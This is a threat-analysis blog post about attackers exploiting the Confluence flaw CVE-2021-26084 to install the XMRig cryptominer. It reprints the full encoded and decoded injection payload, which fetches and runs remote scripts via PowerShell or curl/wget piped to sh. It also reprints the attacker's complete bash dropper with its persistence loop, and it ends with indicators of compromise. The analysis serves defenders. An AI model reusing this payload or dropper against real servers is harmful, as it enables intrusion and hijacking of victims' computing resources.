In one of our blog posts last week, we described different payloads that we were observing related to the exploitation of CVE-2021-26084. The majority of the incidents were just trying to install crypto miners, but we expect to see other types of attackers soon. While we haven’t seen any intent of ransomware yet, Confluence servers often store critical information that ransomware attackers find very attractive.
Read on as we describe a successful exploit that installs a cryptominer (XMRig), and see how quickly a normal server connected in the Internet can be used for mining crypto currencies:
Everything started on Friday evening. A perfect timing for a security incident 🙂
An HTTP POST request was sent to one of our vulnerable Confluence servers:
queryString=aaaaaaaa%5Cu0027%2B%7BClass.forName%28%5Cu0027javax.script.ScriptEngineManager%5Cu0027%29.newInstance%28%29.getEngineByName%28%5Cu0027JavaScript%5Cu0027%29.%5Cu0065val%28%5Cu0027var+isWin+%3D+java.lang.System.getProperty%28%5Cu0022os.name%5Cu0022%29.toLowerCase%28%29.contains%28%5Cu0022win%5Cu0022%29%3B+var+c%5Cu006dw+%3D+new+java.lang.String%28%5Cu0022power%5Cu0073hell.%5Cu0065xe+-nop+-w+hidden+-c+%5Cu005c%5Cu005c%5Cu0022IEX+%28%28new-object+net.webclient%29.downloadstring%28%5Cu005c%5Cu0027http%3A%2F%2F161.117.14.212%3A23%2Fstg161.117.14.212_23.ps1%5Cu005c%5Cu0027%29%29%5Cu005c%5Cu005c%5Cu0022%5Cu0022%29%3Bvar+c%5Cu006dl+%3D+new+java.lang.String%28%5Cu0022%28curl+-fsSL+http%3A%2F%2F161.117.14.212%3A23%2Fstg161.117.14.212_23.sh%7C%7Cwget+-q+-O-+http%3A%2F%2F161.117.14.212%3A23%2Fstg161.117.14.212_23.sh%29%7Csh%5Cu0022%29%3Bvar+p+%3D+new+java.lang.%5Cu0050rocessBuilder%28%29%3B+if%28isWin%29%7Bp.com%5Cu006dand%28%5Cu0022c%5Cu006d.%5Cu0065xe%5Cu0022%2C+%5Cu0022%2Fc%5Cu0022%2C+c%5Cu006dw%29%3B+%7D+else%7Bp.com%5Cu006dand%28%5Cu0022ba%5Cu0073h%5Cu0022%2C+%5Cu0022-c%5Cu0022%2C+c%5Cu006dl%29%3B+%7Dp.redirectErrorStream%28true%29%3B+var+proce%5Cu0073s%3D+p.start%28%29%3B+var+inputStreamReader+%3D+new+java.io.InputStreamReader%28proce%5Cu0073s.getInputStream%28%29%29%3B+var+bufferedReader+%3D+new+java.io.BufferedReader%28inputStreamReader%29%3B+var+line+%3D+%5Cu0022%5Cu0022%3B+var+output+%3D+%5Cu0022%5Cu0022%3B+while%28%28line+%3D+bufferedReader.readLine%28%29%29+%21%3D+null%29%7Boutput+%3D+output+%2B+line+%2B+java.lang.Character.toString%2810%29%3B+%7D%5Cu0027%29%7D%2B%5Cu0027
Where the decoded payload is the following:
{Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('
var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
var cmw = new java.lang.String("powershell.exe -nop -w hidden -c \"IEX (new-object net.webclient).downloadstring(\'http:/161.117.14.212:23/stg161.117.14.212_23.ps1\')\");
var cml = new java.lang.String("(curl -fsSL http:/161.117.14.212:23/stg161.117.14.212_23.sh|wget -q -O- http:/161.117.14.212:23/stg161.117.14.212_23.sh)|sh");
var p = new java.lang.ProcessBuilder();
if (isWin) {
p.command("cm.exe", "/c", cmw);
} else {
p.command("bash", "-c", cml);
}
p.redirectErrorStream(true);
var process= p.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while(line = bufferedReader.readLine() != null) {
output = output + line + java.lang.Character.toString(10);
}
')}
This is a well-known Java payload that instantiates a JavaScript engine for executing a simple script: it first checks the operating system. If it is a Windows machine, it downloads a PowerShell script using PowerShell (stg161.117.14.212_23.ps1), and if it is a Linux machine, it downloads a Bash script (stg161.117.14.212_23.sh).
It is a bit strange to see that the script is downloaded from the malicious web server using the TCP port 23, a port reserved for telnet, because in many organizations that port is usually blocked for outgoing connections. In addition, many network security products will trigger an alert if they see traffic to port 23/tcp (as it is usually not expected).
In this case, our server is a Linux machine, so the exploit downloaded the Bash script using the curl command:
The downloaded script first creates some temporary directories, and then downloads and executes the XMRig binary from the same malicious webserver (hxxp://161.117.14.212:23/bionic):
As with the vast majority of cryptominers, it attempts to change the MSR kernel parameters to be able to improve the mining efficiency up to 15% (it is a normal user account, all the events will fail):
As we can see, in less than two seconds, the attacker successfully compromised the Confluence server. But, how can the attacker gain persistence in the server? Or is the attacker just exploiting the server continuously?
Let’s have a closer look at the bash script that the attacker downloaded in the first stage:
#!/bin/sh
FILE_CC_SERVER="161.117.14.212:23"
# check tmp
TMP1="/var/tmp"
TMP2="/var/lock"
TMP3="/tmp"
mkdir -p $TMP1
mkdir -p $TMP2
mkdir -p $TMP3
if [ -d $TMP1 ]; then
DIR=$TMP1
elif [ -d $TMP2 ]; then
DIR=$TMP2
elif [ -d $TMP3 ]; then
DIR=$TMP3
else
DIR="."
fi
kill_too_old_my_running_miner() {
# kill my miner that are running for more than 3 hours (10800 second)
ps -eo comm,pid,etimes | awk '/45dT4wkGP93QJHRFJDPY/ {if ($3 > 10800) { print $2}}' | while read procid
do
kill -9 $procid
done
}
kill_all_miner() {
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
}
download_and_run_miner() {
# if [ ! "$(ps -fe|grep 'proecho'|grep -v grep)" ];
if [ ! "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner not running
then
# download
if [ -s /bin/wget ]; then
WGET="/bin/wget -q -O";
elif [ -s /usr/bin/wget ]; then
WGET="/usr/bin/wget -q -O";
elif [ -s /usr/sbin/wget ]; then
WGET="/usr/sbin/wget -q -O";
elif [ -s /usr/local/bin/wget ]; then
WGET="/usr/local/bin/wget -q -O";
elif [ -s /bin/curl ]; then
WGET="/bin/curl -fsSL -o";
elif [ -s /usr/bin/curl ]; then
WGET="/usr/bin/curl -fsSL -o";
elif [ -s /usr/sbin/curl ]; then
WGET="/usr/sbin/curl -fsSL -o";
elif [ -s /usr/local/bin/curl ]; then
WGET="/usr/local/bin/curl -fsSL -o";
fi
# if created more than 12 hours ago
if [ ! -f $DIR/rsyslogbionic ] || [ $(find "$DIR/rsyslogbionic" -mmin +720) ]; then
$WGET $DIR/rsyslogbionic http://$FILE_CC_SERVER/bionic
touch $DIR/rsyslogbionic
chmod +x $DIR/rsyslogbionic
fi
kill_all_miner
nohup $DIR/rsyslogbionic -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
sleep 10
if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
then
return 0
fi
# if created more than 12 hours ago
if [ ! -f $DIR/rsyslogfocal ] || [ $(find "$DIR/rsyslogfocal" -mmin +720) ]; then
$WGET $DIR/rsyslogfocal http://$FILE_CC_SERVER/focal
touch $DIR/rsyslogfocal
chmod +x $DIR/rsyslogfocal
fi
kill_all_miner
nohup $DIR/rsyslogfocal -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
sleep 10
if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
then
return 0
fi
# if created more than 12 hours ago
if [ ! -f $DIR/rsyslogfreebsd ] || [ $(find "$DIR/rsyslogfreebsd" -mmin +720) ]; then
$WGET $DIR/rsyslogfreebsd http://$FILE_CC_SERVER/freebsd
touch $DIR/rsyslogfreebsd
chmod +x $DIR/rsyslogfreebsd
fi
kill_all_miner
nohup $DIR/rsyslogfreebsd -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
sleep 10
if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
then
return 0
fi
# if created more than 12 hours ago
if [ ! -f $DIR/rsysloglinux ] || [ $(find "$DIR/rsysloglinux" -mmin +720) ]; then
$WGET $DIR/rsysloglinux http://$FILE_CC_SERVER/linuxstatic
touch $DIR/rsysloglinux
chmod +x $DIR/rsysloglinux
fi
kill_all_miner
nohup $DIR/rsysloglinux -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
sleep 10
if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
then
return 0
fi
# if created more than 12 hours ago
if [ ! -f $DIR/rsyslogxenial ] || [ $(find "$DIR/rsyslogxenial" -mmin +720) ]; then
$WGET $DIR/rsyslogxenial http://$FILE_CC_SERVER/xenial
touch $DIR/rsyslogxenial
chmod +x $DIR/rsyslogxenial
fi
kill_all_miner
nohup $DIR/rsyslogxenial -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
sleep 10
if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
then
return 0
fi
# if created more than 12 hours ago
if [ ! -f $DIR/rsyslogstak ] || [ $(find "$DIR/rsyslogstak" -mmin +720) ]; then
$WGET $DIR/rsyslogstak http://$FILE_CC_SERVER/xmr-stak
touch $DIR/rsyslogstak
chmod +x $DIR/rsyslogstak
fi
kill_all_miner
nohup $DIR/rsyslogstak -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh -r "" -i 0 --currency monero > /dev/null 2>&1 &
sleep 10
if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
then
return 0
fi
else
echo "Running"
fi
}
kill_too_old_my_running_miner
download_and_run_miner
while true; do
sleep 60
kill_too_old_my_running_miner
download_and_run_miner
done
In the last five lines of the shell script, we can see a never-ending loop (while true) that it is not only downloading and executing the cryptominer, but also checking that it is running. So in this case, the shell script is being used for both purposes.
If we list the server processes, we can see that the process is running continuously:
The persistence is a bit noisy (as any system administrator that lists the processes will quickly identify it) but it is a smart way to get persistence outside of the typical cronjob that the majority of the cryptominers install.
The script checks every 60 seconds that the cryptominer is running, and if it is not, checks whether the binary was downloaded in the last 12 hours. If it is an older file, then it tries to download a new version that will be executed. It also checks if the cryptominer is running for more than 3 hours, killing the process if that is the case.
Relevant IOCs
Value | Description |
---|---|
161.117.14.212 | Alibaba.com Singapore |
3c1a2e702e7079f9d49373049eff5e59fcf35d526b7a157a4a963fbdf9c7c75f | /var/tmp/rsyslogbionic – XMRig 6.14.1 built on Aug 14 2021 with GCC |
David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.